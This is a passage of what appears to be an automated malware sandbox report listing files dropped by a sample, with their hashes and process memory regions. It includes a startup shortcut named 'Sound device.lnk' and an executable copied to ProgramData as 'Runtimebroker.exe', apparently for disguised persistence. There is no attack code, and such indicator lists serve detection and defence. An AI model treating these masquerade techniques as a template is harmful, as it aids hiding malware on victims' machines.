                                  3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

                                  SHA512

                                  5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
                                  MD5

                                  5e3c7184a75d42dda1a83606a45001d8

                                  SHA1

                                  94ca15637721d88f30eb4b6220b805c5be0360ed

                                  SHA256

                                  8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

                                  SHA512

                                  fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
                                  MD5

                                  a725bb9fafcf91f3c6b7861a2bde6db2

                                  SHA1

                                  8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

                                  SHA256

                                  51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

                                  SHA512

                                  1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
                                  MD5

                                  b6d38f250ccc9003dd70efd3b778117f

                                  SHA1

                                  d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

                                  SHA256

                                  4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

                                  SHA512

                                  67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                                  MD5

                                  95527a8cf35c73ddd455723516dada70

                                  SHA1

                                  51fd7b06278cadca310bdaf032eadf721153bbad

                                  SHA256

                                  5129edb619fd6b672c07b28605510f7f0ac9e21e4a35cd3920cbf4d0e022bfb9

                                  SHA512

                                  62975263b6af9066cb778eb1ef7e81e1c21174e7b45bf910f9e6a2c7bced0313ede73753038b0bba20f694bac98e8324c3e4122f63b2a6b7dcd2c161f88dbc93

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                                  MD5

                                  aac46327cab8d484ff0e31bfdc20cb53

                                  SHA1

                                  2d8c9a12c473c35d69e29fb37ebb71134dc5227a

                                  SHA256

                                  14fdb5bc387f687a03ec416d3a8334328a2cabe342b8bc1fb7e07fa3eeee2527

                                  SHA512

                                  456d1b05b3e656e03d2d88d65cde56f8cb241e7cdd5e66816deecf4993e90ef141282f2c51982b9892bf17dd568bca22dda86c242010769c6391224c739ad5ed

                                • C:\Users\Admin\AppData\Local\Temp\1372.exe
                                  MD5

                                  49f58a80993170b4351014d0b5068897

                                  SHA1

                                  7af2615ec10821cbefb55c602b270c27fa1d6806

                                  SHA256

                                  905f70426483e7dc4e4d2110cfa0f3a3bbac1ee16a74e287cd51cae0e0babd1c

                                  SHA512

                                  2ee7f30ee68bbc9da4f3858d1eb188be3fca547f63b36864181b86a70ea5d06f614fdb38b42a22aff24e8d4d720f814b6b103e52d5c01c399eefd28775f88ae2

                                • C:\Users\Admin\AppData\Local\Temp\174A.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • C:\Users\Admin\AppData\Local\Temp\174A.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • C:\Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  5707ddada5b7ea6bef434cd294fa12e1

                                  SHA1

                                  45bb285a597b30e100ed4b15d96a29d718697e5e

                                  SHA256

                                  85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                  SHA512

                                  91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                • C:\Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  5707ddada5b7ea6bef434cd294fa12e1

                                  SHA1

                                  45bb285a597b30e100ed4b15d96a29d718697e5e

                                  SHA256

                                  85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                  SHA512

                                  91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                • C:\Users\Admin\AppData\Local\Temp\1CD8.exe
                                  MD5

                                  3a3ab90429325f26be4c1536825b7d86

                                  SHA1

                                  33c272468c115890d6a44cd6918509d37c89ce04

                                  SHA256

                                  9dab2a8cd79a947c700da1f58f7e967fd81cc321414d4cb512ab65b483834798

                                  SHA512

                                  432222783cd46aa27941b8c67fc9f125270e1dc97b2effe2a4dc5a24f9f9ab841e07aa31bd6da63782359b926b4ca21aadbdd3c664f2c2af9115bad22304824c

                                • C:\Users\Admin\AppData\Local\Temp\DC6.exe
                                  MD5

                                  a69e12607d01237460808fa1709e5e86

                                  SHA1

                                  4a12f82aee1c90e70cdf6be863ce1a749c8ae411

                                  SHA256

                                  188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

                                  SHA512

                                  7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                                  MD5

                                  11caf6d156b354d8d051f7d573e46e78

                                  SHA1

                                  fdd55b2eb70392604dcd26da806f532f485b3e5e

                                  SHA256

                                  0c40fb64ad9bca6e6319a3e14a60df61ac42d9d6dd8089db22794691404fdb58

                                  SHA512

                                  9fcd9a21bd20d9a7a85a1dfb96516cb15d405f48aaaf7e910e1c782c8ea67c8d0424e0551c0d6ab6032daab3497a89785e4b3cbe5b1d62f147fc7b44f4628b80

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                                  MD5

                                  11caf6d156b354d8d051f7d573e46e78

                                  SHA1

                                  fdd55b2eb70392604dcd26da806f532f485b3e5e

                                  SHA256

                                  0c40fb64ad9bca6e6319a3e14a60df61ac42d9d6dd8089db22794691404fdb58

                                  SHA512

                                  9fcd9a21bd20d9a7a85a1dfb96516cb15d405f48aaaf7e910e1c782c8ea67c8d0424e0551c0d6ab6032daab3497a89785e4b3cbe5b1d62f147fc7b44f4628b80

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk
                                  MD5

                                  a4f5b5a2ae5754d5ed4e00fbfd18e998

                                  SHA1

                                  0caca71abf491b46c1d1960592323b90faef533f

                                  SHA256

                                  639b98d3d4dd1c8f769e6d97d73d31cf42768a1e90d78a3bc9ee8aa442093b14

                                  SHA512

                                  b3dc9960cf26da794c15d94b4543783ece0e17516c91686185aafd8cad2d4d0abede96f3d60658db2d5433ebfa348a3de8ff57b7ed1308331b17c531786b58b7

                                • \ProgramData\Runtimebroker.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • \ProgramData\Runtimebroker.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • \ProgramData\Runtimebroker.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • \Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  5707ddada5b7ea6bef434cd294fa12e1

                                  SHA1

                                  45bb285a597b30e100ed4b15d96a29d718697e5e

                                  SHA256

                                  85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                  SHA512

                                  91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                • \Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  5707ddada5b7ea6bef434cd294fa12e1

                                  SHA1

                                  45bb285a597b30e100ed4b15d96a29d718697e5e

                                  SHA256

                                  85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                  SHA512

                                  91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                • \Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  5707ddada5b7ea6bef434cd294fa12e1

                                  SHA1

                                  45bb285a597b30e100ed4b15d96a29d718697e5e

                                  SHA256

                                  85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                  SHA512

                                  91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                • \Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  bb165eb207837ee17ec4d023cfb03a22

                                  SHA1

                                  e6b94a6dad3724ed56b8420333db16615e7a1695

                                  SHA256

                                  b3c3d311a4241cf76c4bc57dc3ab3d2bdaf7f2d5f392ae318d503c54445209f9

                                  SHA512

                                  af73a4c3ae866e998fa68e02d8bb7c0d073b687554b614ff7406db45bad5bc4bb3bdd67483a4cc8aa0ad237c1071ecbc4e924940b34c0e5359facc70182d7a2e

                                • \Users\Admin\AppData\Local\Temp\19AB.exe
                                  MD5

                                  4a4b1bdd452d8771a0fefc92d20eed74

                                  SHA1

                                  843820391bc6173ae2da9f3f8f3f45fdb2eed2b1

                                  SHA256

                                  197a8c67b78812ca90ca4181fb327fd9b59f527924e209bc669e0521c1d1ae25

                                  SHA512

                                  6bd1a5affc9dc33aab60c48b24b40725d6687cc1c8cfd1f05b4be18a8eab26b106ff01de74bcb2e54abf36ee4ff8f8d00df25937681a031950d5aac2f2f47c5b

                                • memory/112-65-0x0000000000000000-mapping.dmp
                                • memory/340-93-0x0000000000400000-0x0000000000919000-memory.dmp
                                  Filesize

                                  5.1MB

                                • memory/340-75-0x0000000000000000-mapping.dmp
                                • memory/340-91-0x00000000002D0000-0x000000000030B000-memory.dmp
                                  Filesize

                                  236KB

                                • memory/560-78-0x0000000000000000-mapping.dmp
                                • memory/560-81-0x0000000000260000-0x0000000000261000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/560-87-0x00000000005B0000-0x00000000005B1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/580-128-0x0000000000080000-0x0000000000089000-memory.dmp
                                  Filesize

                                  36KB

                                • memory/580-127-0x00000000000D0000-0x00000000000D5000-memory.dmp
                                  Filesize

                                  20KB

                                • memory/580-123-0x0000000000000000-mapping.dmp
                                • memory/588-73-0x0000000000A50000-0x0000000000A51000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/588-77-0x00000000050B0000-0x00000000050B1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/588-69-0x0000000000000000-mapping.dmp
                                • memory/768-63-0x0000000000220000-0x000000000022A000-memory.dmp
                                  Filesize

                                  40KB

                                • memory/824-129-0x0000000000000000-mapping.dmp
                                • memory/824-139-0x0000000000060000-0x000000000006C000-memory.dmp
                                  Filesize

                                  48KB

                                • memory/824-138-0x0000000000070000-0x0000000000076000-memory.dmp
                                  Filesize

                                  24KB

                                • memory/1180-149-0x0000000000000000-mapping.dmp
                                • memory/1180-161-0x00000000000C0000-0x00000000000C9000-memory.dmp
                                  Filesize

                                  36KB

                                • memory/1180-105-0x0000000000070000-0x0000000000077000-memory.dmp
                                  Filesize

                                  28KB

                                • memory/1180-106-0x0000000000060000-0x000000000006C000-memory.dmp
                                  Filesize

                                  48KB

                                • memory/1180-160-0x00000000000D0000-0x00000000000D4000-memory.dmp
                                  Filesize

                                  16KB

                                • memory/1180-104-0x0000000000000000-mapping.dmp
                                • memory/1244-121-0x0000000004942000-0x0000000004943000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-126-0x0000000005240000-0x0000000005241000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-122-0x00000000021D0000-0x00000000021D1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-132-0x00000000056D0000-0x00000000056D1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-137-0x0000000005770000-0x0000000005771000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-120-0x0000000004940000-0x0000000004941000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-140-0x0000000006160000-0x0000000006161000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-141-0x000000007EF30000-0x000000007EF31000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-117-0x0000000004980000-0x0000000004981000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-148-0x0000000006280000-0x0000000006281000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-116-0x0000000000850000-0x0000000000851000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1244-114-0x0000000000000000-mapping.dmp
                                • memory/1288-64-0x00000000021C0000-0x00000000021D6000-memory.dmp
                                  Filesize

                                  88KB

                                • memory/1420-157-0x0000000004900000-0x0000000004901000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1420-175-0x00000000061F0000-0x00000000061F1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1420-158-0x00000000051B0000-0x00000000051B1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1420-156-0x0000000001F90000-0x0000000001F91000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1420-162-0x00000000048C0000-0x00000000048C1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1420-181-0x0000000006580000-0x00000000066DB000-memory.dmp
                                  Filesize

                                  1.4MB

                                • memory/1420-163-0x00000000048C2000-0x00000000048C3000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1420-153-0x0000000000000000-mapping.dmp
                                • memory/1420-164-0x0000000005300000-0x0000000005301000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1516-211-0x0000000000000000-mapping.dmp
                                • memory/1584-180-0x00000000000C0000-0x00000000000C9000-memory.dmp
                                  Filesize

                                  36KB

                                • memory/1584-179-0x00000000000D0000-0x00000000000D5000-memory.dmp
                                  Filesize

                                  20KB

                                • memory/1584-176-0x0000000000000000-mapping.dmp
                                • memory/1648-190-0x0000000004952000-0x0000000004953000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1648-197-0x0000000005770000-0x0000000005771000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1648-194-0x00000000056D0000-0x00000000056D1000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1648-189-0x0000000004950000-0x0000000004951000-memory.dmp
                                  Filesize

                                  4KB

                                • memory/1648-182-0x0000000000000000-mapping.dmp
                                • memory/1660-96-0x00000000002D0000-0x0000000000361000-memory.dmp
                                  Filesize

                                  580KB

                                • memory/1660-83-0x0000000000000000-mapping.dmp
                                • memory/1660-98-0x0000000000400000-0x0000000000946000-memory.dmp
                                  Filesize

                                  5.3MB

                                • memory/1920-174-0x0000000000060000-0x0000000000069000-memory.dmp
                                  Filesize

                                  36KB

                                • memory/1920-173-0x0000000000070000-0x0000000000075000-memory.dmp
                                  Filesize

                                  20KB

                                • memory/1920-165-0x0000000000000000-mapping.dmp
                                • memory/1924-61-0x0000000000402E1A-mapping.dmp
                                • memory/1924-62-0x0000000075EF1000-0x0000000075EF3000-memory.dmp
                                  Filesize

                                  8KB

                                • memory/1924-60-0x0000000000400000-0x0000000000409000-memory.dmp
                                  Filesize

                                  36KB

                                • memory/1940-102-0x0000000000190000-0x0000000000204000-memory.dmp
                                  Filesize

                                  464KB

                                • memory/1940-101-0x000000006E9E1000-0x000000006E9E3000-memory.dmp
                                  Filesize

                                  8KB

                                • memory/1940-103-0x00000000000D0000-0x000000000013B000-memory.dmp
                                  Filesize

                                  428KB

                                • memory/1940-99-0x0000000000000000-mapping.dmp
                                • memory/1944-97-0x0000000000400000-0x0000000000919000-memory.dmp
                                  Filesize

                                  5.1MB

                                • memory/1944-90-0x0000000000000000-mapping.dmp
                                • memory/1964-112-0x0000000000000000-mapping.dmp
                                • memory/1964-119-0x0000000000060000-0x000000000006F000-memory.dmp
                                  Filesize

                                  60KB

                                • memory/1964-118-0x0000000000070000-0x0000000000079000-memory.dmp
                                  Filesize

                                  36KB

                                • memory/2028-111-0x0000000000080000-0x000000000008B000-memory.dmp
                                  Filesize

                                  44KB

                                • memory/2028-110-0x0000000000090000-0x0000000000097000-memory.dmp
                                  Filesize

                                  28KB

                                • memory/2028-109-0x000000006E5A1000-0x000000006E5A3000-memory.dmp
                                  Filesize

                                  8KB

                                • memory/2028-107-0x0000000000000000-mapping.dmp